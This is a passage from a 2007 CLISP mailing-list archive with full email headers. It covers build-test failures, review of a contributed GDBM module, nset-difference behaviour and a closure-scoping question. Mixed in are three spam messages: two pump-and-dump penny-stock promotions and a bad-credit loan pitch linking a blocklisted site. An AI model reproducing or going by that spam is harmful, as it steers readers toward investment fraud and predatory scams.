FAQ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Sep 2007 16:05:10 -0000 Andrew Walrond wrote: > Hello list, > > I'm a new clisp user, and although the build/install works fine as per > the instructions, there is a failure during > make check-tests > Intriguingly, I _DO_NOT_ get a test failure if I use the configure --build facility, (which is supposed to run the same tests according to the documentation) rather than the broken out build commands: ./configure build cd build ./makemake > Makefile make config.lisp make make check-recompile make check-tests Hope that's useful! Andrew Walrond From masayuki.onjo@gmail.com Sun Sep 16 15:49:43 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IX2vu-0006H9-PE for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 15:49:42 -0700 Received: from rv-out-0910.google.com ([209.85.198.189]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IX2vt-0007o9-97 for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 15:49:42 -0700 Received: by rv-out-0910.google.com with SMTP id g11so4478938rvb for ; Sun, 16 Sep 2007 15:49:40 -0700 (PDT) Received: by 10.141.129.14 with SMTP id g14mr635173rvn.1189982980780; Sun, 16 Sep 2007 15:49:40 -0700 (PDT) Received: from localhost ( [203.180.17.124]) by mx.google.com with ESMTPS id b5sm7137148rva.2007.09.16.15.49.35 (version=SSLv3 cipher=OTHER); Sun, 16 Sep 2007 15:49:40 -0700 (PDT) Date: Mon, 17 Sep 2007 01:42:17 +0900 (JST) Message-Id: <20070917.014217.115918387.masayuki.onjo@gmail.com> To: sds@gnu.org From: Masayuki Onjo In-Reply-To: <46ECB6CE.3030702@gnu.org> References: <20070916.002236.226800875.masayuki.onjo@gmail.com> <46ECB6CE.3030702@gnu.org> X-Mailer: Mew version 5.2.51 on Emacs 22.0.990 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GDBM module available X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Sep 2007 22:49:43 -0000 Hi, Sam. > error-of-type is, I think, what you are looking for (although your version will probably work too). > see modules/berkeley-db/bdb.c:error_bdb Oops, I wan't understand error_bdb well. I review bdb.c and error.c. The error_of_type seems more suitable. I updated http://lispuser.net/files/clisp/gdbm.tar.gz > what is your SF id? My SF id is m_onjo. Thank you for advice! -- Masayuki Onjo From pjb@informatimago.com Mon Sep 17 01:09:21 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IXBfS-0001t8-Hn for clisp-list@lists.sourceforge.net; Mon, 17 Sep 2007 01:09:20 -0700 Received: from [195.114.85.131] (helo=mini.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IXBfP-0001Lr-NW for clisp-list@lists.sourceforge.net; Mon, 17 Sep 2007 01:09:17 -0700 Received: by mini.informatimago.com (Postfix, from userid 1000) id 7593315D3A5; Mon, 17 Sep 2007 10:10:33 +0200 (CEST) From: Pascal Bourguignon Message-ID: <18158.13945.207352.48141@mini.informatimago.com> Date: Mon, 17 Sep 2007 10:10:33 +0200 To: raffaele arecchi In-Reply-To: References: X-Mailer: VM 7.19 under Emacs 22.1.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] non-destructive nset-difference? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Sep 2007 08:09:21 -0000 raffaele arecchi writes: > I'd trouble with my program and I found out this: > > OPERATORS[70]> y > ('(1 C) '(A 5)) > OPERATORS[71]> i > '(1 C) > OPERATORS[72]> (nset-difference y (list i) :test #'equal) > ('(A 5)) > OPERATORS[73]> y > ('(1 C) '(A 5)) > OPERATORS[74]> i > '(1 C) > OPERATORS[75]> > > is there something wrong? Destruction is never mandatory (and sometimes not even possible). In your case, since we have to remove only the first element, returning the rest is all that can be done. Remember that all parameters are passed "by value" in lisp, never "by reference". (It just so happens that most values in lisp are references, but variables are not references). nset-difference, as any other function, cannot change the binding to the variables whose values you pass it, because you only pass the value of the variables as argument to functions. Only macro could do that, or you can simply change the binding yourself if that's what you want: (setf y (nset-difference y (list i) :test (function equal))) -- __Pascal Bourguignon__ http://www.informatimago.com/ From andrew@walrond.org Mon Sep 17 01:55:39 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IXCOJ-0006pf-9M for clisp-list@lists.sourceforge.net; Mon, 17 Sep 2007 01:55:39 -0700 Received: from marvin.h-e-r-e-s-y.com ([87.106.62.5]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IXCOI-00040I-M9 for clisp-list@lists.sourceforge.net; Mon, 17 Sep 2007 01:55:39 -0700 Received: from orion.h-e-r-e-s-y.com ([213.120.249.28] helo=[172.16.1.254]) by marvin.h-e-r-e-s-y.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.66) (envelope-from ) id 1IXCVF-0000zY-Vj for clisp-list@lists.sourceforge.net; Mon, 17 Sep 2007 09:02:50 +0000 Message-ID: <46EE417B.6050500@walrond.org> Date: Mon, 17 Sep 2007 09:57:31 +0100 From: Andrew Walrond User-Agent: Icedove 1.5.0.12 (X11/20070731) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <46ED4F62.3030804@walrond.org> <46ED54A3.9050300@walrond.org> <46EDE041.2060408@gnu.org> In-Reply-To: <46EDE041.2060408@gnu.org> X-Enigmail-Version: 0.94.2.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] make check-tests failure; FAQ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Sep 2007 08:55:40 -0000 Sam Steingold wrote: > > I think configure prints a long list of recommended makemake command > line options, some of which do, apparently, matter. > Ok. I would be sensible to modify unix/INSTALL to reflect this I think. I can have a go at a patch it if it would be appropriate? Andrew Walrond From sds@gnu.org Sun Sep 16 19:02:56 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IX5wt-0007zo-3z for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 19:02:55 -0700 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IX5wr-0005wC-7f for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 19:02:53 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JOH000JMPOMLBG0@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 22:02:47 -0400 (EDT) Received: from [127.0.0.1] (localhost [127.0.0.1]) by loiso.podval.org (Postfix) with ESMTP id 93A8A21DF79; Sun, 16 Sep 2007 22:02:45 -0400 (EDT) Date: Sun, 16 Sep 2007 22:02:41 -0400 From: Sam Steingold In-reply-to: <46ED54A3.9050300@walrond.org> To: Andrew Walrond Message-id: <46EDE041.2060408@gnu.org> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT References: <46ED4F62.3030804@walrond.org> <46ED54A3.9050300@walrond.org> User-Agent: Thunderbird 1.5.0.12 (X11/20070719) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Mon, 17 Sep 2007 06:32:56 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] make check-tests failure; FAQ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Sep 2007 02:02:56 -0000 Andrew Walrond wrote: > Andrew Walrond wrote: >> Hello list, >> >> I'm a new clisp user, and although the build/install works fine as per >> the instructions, there is a failure during >> make check-tests >> > > Intriguingly, I _DO_NOT_ get a test failure if I use the > configure --build > facility, (which is supposed to run the same tests according to the > documentation) rather than the broken out build commands: > ./configure build > cd build > ./makemake > Makefile I think configure prints a long list of recommended makemake command line options, some of which do, apparently, matter. > make config.lisp > make > make check-recompile > make check-tests From sds@gnu.org Mon Sep 17 16:09:03 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IXPiA-0007sV-TU for clisp-list@lists.sourceforge.net; Mon, 17 Sep 2007 16:09:03 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IXPi7-0001zS-1S for clisp-list@lists.sourceforge.net; Mon, 17 Sep 2007 16:09:02 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A71403F0; Mon, 17 Sep 2007 20:08:52 -0400 Message-ID: <46EF0904.7010303@gnu.org> Date: Mon, 17 Sep 2007 19:08:52 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Masayuki Onjo References: <20070916.002236.226800875.masayuki.onjo@gmail.com> <46ECB6CE.3030702@gnu.org> <20070917.014217.115918387.masayuki.onjo@gmail.com> In-Reply-To: <20070917.014217.115918387.masayuki.onjo@gmail.com> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GDBM module available X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-devel@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Sep 2007 23:09:03 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Masayuki, Masayuki Onjo wrote: > I updated http://lispuser.net/files/clisp/gdbm.tar.gz > My SF id is m_onjo. welcome to the CLISP project! you now have write access to the CLISP modules/gdbm repository. I committed your file and made some changes, mostly cosmetic (you can review them using cvs). I set reply-to to clisp-devel because the further GDBM discussion will probably be of little use to most users. I see the main issues at this time as: 1. GC-safety. please review http://clisp.cons.org/impnotes/gc-safety.html and proofread your code making sure that you do not access invalid objects. 2. you ignore non-string key arguments, I think it would be better to use check_string() instead (it triggers GC!) 3. WITH-OPEN-DB (similar to WITH-OPEN-FILE) is needed. 4. you have code like DEFUN(GDBM:GDBM-NEXTKEY, dbf key) { GDBM_FILE dbf = check_gdbm(STACK_1); object key_obj = popSTACK(); datum key; skipSTACK(1); /* drop dbf */ if (dbf && stringp(key_obj)) { with_string_0(key_obj, GLO(foreign_encoding), ks, { key.dptr = ks; key.dsize = asciz_length(ks); if (dbf) { VALUES1(datum_to_object(gdbm_nextkey(dbf, key))); } else { VALUES1(NIL); } }); } else { VALUES1(NIL); } } where you check dbf twice - this is not needed. Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFG7wkEPp1Qsf2qnMcRAv/kAJ0e71RsFVVc5dfWcq/4UQNnGelU4wCfYV+h iHRVP+IJtCsjoq8ZFP4IIPM= =r51i -----END PGP SIGNATURE----- From sds@gnu.org Sat Sep 22 21:10:50 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IZIny-0003v5-5T for clisp-list@lists.sourceforge.net; Sat, 22 Sep 2007 21:10:50 -0700 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IZInw-0003ps-Qu for clisp-list@lists.sourceforge.net; Sat, 22 Sep 2007 21:10:50 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JOS00G9FZLR24L0@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 23 Sep 2007 00:10:40 -0400 (EDT) Received: from [127.0.0.1] (localhost [127.0.0.1]) by loiso.podval.org (Postfix) with ESMTP id 14E7A21DE3D; Sun, 23 Sep 2007 00:10:38 -0400 (EDT) Date: Sun, 23 Sep 2007 00:10:31 -0400 From: Sam Steingold In-reply-to: <46EE417B.6050500@walrond.org> To: Andrew Walrond Message-id: <46F5E737.7030805@gnu.org> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT References: <46ED4F62.3030804@walrond.org> <46ED54A3.9050300@walrond.org> <46EDE041.2060408@gnu.org> <46EE417B.6050500@walrond.org> User-Agent: Thunderbird 1.5.0.12 (X11/20070719) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Sat, 22 Sep 2007 21:17:40 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] make check-tests failure; FAQ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Sep 2007 04:10:50 -0000 Andrew Walrond wrote: > Sam Steingold wrote: >> I think configure prints a long list of recommended makemake command >> line options, some of which do, apparently, matter. >> > > Ok. I would be sensible to modify unix/INSTALL to reflect this I think. I added a small note to that effect. thanks. From danalaut@testmich.blogdns.com Sun Sep 23 01:36:42 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IZMxF-0002FM-VR for clisp-list@lists.sourceforge.net; Sun, 23 Sep 2007 01:36:42 -0700 Received: from [122.162.195.177] (helo=ABTS-NCR-Dynamic-177.195.162.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1IZMxE-0003X5-V3 for clisp-list@lists.sourceforge.net; Sun, 23 Sep 2007 01:36:41 -0700 Received: from [237.161.50.87] (helo=jhpzs) by ABTS-NCR-Dynamic-177.195.162.122.airtelbroadband.in with smtp (Exim 4.62 (FreeBSD)) id 1JZ01-0002jB-KW; Sun, 23 Sep 2007 14:10:33 +0530 Message-ID: <46F625C2.5010300@testmich.blogdns.com> Date: Sun, 23 Sep 2007 14:07:22 +0530 From: User-Agent: Thunderbird 2.0.0.6 (Windows/20070728) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.6 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] I can not stress this more X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Sep 2007 08:36:42 -0000 Monday Is The Big Day For SREA. SCORE ONE INC. (SREA . OB) Current Price: $0.1 We expect it to rocket again after news hits. Don't let it get away, get all over SREA first thing Mon. From Jaynerompmaintenance@impact-tech.com Thu Sep 27 10:53:02 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IaxXq-0002hD-AO for clisp-list@lists.sourceforge.net; Thu, 27 Sep 2007 10:53:02 -0700 Received: from 89.140.15.68.static.user.ono.com ([89.140.15.68] helo=xp.firstspot.org) by mail.sourceforge.net with smtp (Exim 4.44) id 1IaxXo-0005AB-HK for clisp-list@lists.sourceforge.net; Thu, 27 Sep 2007 10:53:02 -0700 Received: from thief by impact-tech.com with SMTP id KM15OMpzTH for ; Thu, 27 Sep 2007 19:51:50 -0100 From: "Adeline Bautista" To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.5 BAD_CREDIT BODY: Eliminate Bad Credit 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: oneealthz.com] Subject: [clisp-list] Get the freedom you want X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Date: Thu, 27 Sep 2007 17:53:03 -0000 X-List-Received-Date: Thu, 27 Sep 2007 17:53:03 -0000 Finding rates low enough to suit is never an easy task. What if I were to tell you that there actually is a simple way to find the a lower rate for you? What if I told you that the rates were lower than any other one out there? You would of course be doubtful of what I said, but why not check for yourself? http://www.oneealthz.com/ Lenders should be offering you the best deals and not make you search for them. Stop fighting for lenders let them fight for you! Make them work for your business by giving you the lowest rates around! If you want a lower interest rate,and peace of mind then.. http://www.oneealthz.com/ Bad credit seems to be a major deterrent for lenders these days but again, what if there was somewhere out there who didn't care for your credit status? Low credit rating? No problem. http://www.oneealthz.com/ This comment, which would once have struck him as in a league with such banalities as You look so good I could just eat you up now seemed not banal at all. "Next Saturday, I was standing in front of the theater at noon, although the box office didnt open until one-fifteen and the movie didnt start until two. Carmela Bautista From verlag.form@dracula.gymmo.shacknet.nu Sun Oct 07 02:46:02 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IeSi1-0002ed-Aj for clisp-list@lists.sourceforge.net; Sun, 07 Oct 2007 02:46:01 -0700 Received: from abkk7.neoplus.adsl.tpnet.pl ([83.7.178.7]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IeShx-00041R-VZ for clisp-list@lists.sourceforge.net; Sun, 07 Oct 2007 02:46:00 -0700 Received: (qmail 4611 invoked from network); Sun, 7 Oct 2007 11:46:14 +0200 Received: from unknown (HELO vrg) (129.148.150.157) by abkk7.neoplus.adsl.tpnet.pl with SMTP; Sun, 7 Oct 2007 11:46:14 +0200 Message-ID: <4708AAE6.4070703@dracula.gymmo.shacknet.nu> Date: Sun, 7 Oct 2007 11:46:14 +0200 From: User-Agent: Thunderbird 2.0.0.6 (Windows/20070728) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [83.7.178.7 listed in dnsbl.sorbs.net] Subject: [clisp-list] Are you ready to rock? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Oct 2007 09:46:02 -0000 Little yacht Company Becomes Huge Deal Fearless International (F R l E) $0.21 Fearless yachts is setting sail for a huge financial future and investors are scrambling to get on board. This is only getting started. Don't miss out on FRLE Monday. From eliben@gmail.com Sun Oct 07 20:39:00 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IejSO-0008PY-3n for clisp-list@lists.sourceforge.net; Sun, 07 Oct 2007 20:39:00 -0700 Received: from rv-out-0910.google.com ([209.85.198.187]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IejSM-0005rg-Rh for clisp-list@lists.sourceforge.net; Sun, 07 Oct 2007 20:39:00 -0700 Received: by rv-out-0910.google.com with SMTP id g11so2359923rvb for ; Sun, 07 Oct 2007 20:38:58 -0700 (PDT) Received: by 10.142.213.9 with SMTP id l9mr1924545wfg.1191814738113; Sun, 07 Oct 2007 20:38:58 -0700 (PDT) Received: by 10.142.239.11 with HTTP; Sun, 7 Oct 2007 20:38:58 -0700 (PDT) Message-ID: <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> Date: Mon, 8 Oct 2007 05:38:58 +0200 From: "Eli Bendersky" To: clisp-list@lists.sourceforge.net In-Reply-To: <95cf475a0710052236o55fa6cffka3fcdd62b76a398d@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710052236o55fa6cffka3fcdd62b76a398d@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Oct 2007 03:39:00 -0000 Hello, Consider this code: (defun printer (val) (lambda () (format t "~a~%" val))) (setq printer-of-10 (printer 10)) (funcall printer-of-10) It prints "10" as expected. However, consider this code: (defun printer (val) (lambda () (format t "~a~%" val))) (setq printer-of-10 (printer 10)) (defvar val 12) (funcall printer-of-10) It prints 12 ! This defies my understanding of how the dynamic & lexical scoping rules of CL interact. This happened in CLISP 2.41 on Windows, interpreted code. Thanks in advance, Eli From sds@gnu.org Mon Oct 08 08:02:23 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ieu7d-0005yx-P8 for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 08:02:22 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ieu7c-00036V-B1 for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 08:02:17 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A67004AC; Mon, 08 Oct 2007 11:02:08 -0400 Message-ID: <470A466F.3020607@gnu.org> Date: Mon, 08 Oct 2007 11:02:07 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Eli Bendersky References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710052236o55fa6cffka3fcdd62b76a398d@mail.gmail.com> <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> In-Reply-To: <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Oct 2007 15:02:23 -0000 Eli Bendersky wrote: > > Consider this code: > > (defun printer (val) > (lambda () (format t "~a~%" val))) > > (setq printer-of-10 (printer 10)) > (funcall printer-of-10) > > It prints "10" as expected. However, consider this code: > > (defvar val 12) > (funcall printer-of-10) > > It prints 12 ! this is, of course, not compliant. to get the compliant behavior, you will need to compile the code, e.g., by adding (declare (compile)) to the printer definition. ISTR that this behavior was implemented intentionally to ease interactive development, because "usually" the printer above would be followed by a (forgotten) defvar. Or something like that. Maybe Bruno will chime in? Sam. From sds@gnu.org Mon Oct 08 08:22:29 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IeuRB-0000Mr-AH for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 08:22:29 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IeuRA-0004l6-SZ for clisp-list@lists.sourceforge.net; Mon, 08 Oct 2007 08:22:29 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AB2B03E4; Mon, 08 Oct 2007 11:22:19 -0400 Message-ID: <470A4B2A.30306@gnu.org> Date: Mon, 08 Oct 2007 11:22:18 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <95cf475a0710052236i16e25fe1xec9a259a379492f5@mail.gmail.com> <95cf475a0710052236o55fa6cffka3fcdd62b76a398d@mail.gmail.com> <95cf475a0710072038r70774710wcfce66a589d3e65f@mail.gmail.com> <470A466F.3020607@gnu.org> In-Reply-To: <470A466F.3020607@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Eli Bendersky Subject: Re: [clisp-list] defvar affecting captured closure variables ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: 